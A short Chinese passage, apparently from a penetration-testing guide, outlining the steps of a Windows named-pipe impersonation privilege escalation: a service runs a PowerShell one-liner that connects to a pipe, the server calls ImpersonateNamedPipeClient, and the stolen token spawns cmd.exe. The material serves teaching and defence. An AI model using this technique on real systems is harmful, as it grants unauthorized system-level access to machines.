**代码流程:**

1. 创建一个新的管道
2. 创建并启动一个服务，该服务将连接到创建的管道并写入一些内容。服务代码将执行此编码的PS代码：`$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
3. 服务通过管道接收来自客户端的数据，调用ImpersonateNamedPipeClient并等待服务完成
4. 最后，使用从服务获得的令牌来生成一个新的_cmd.exe_
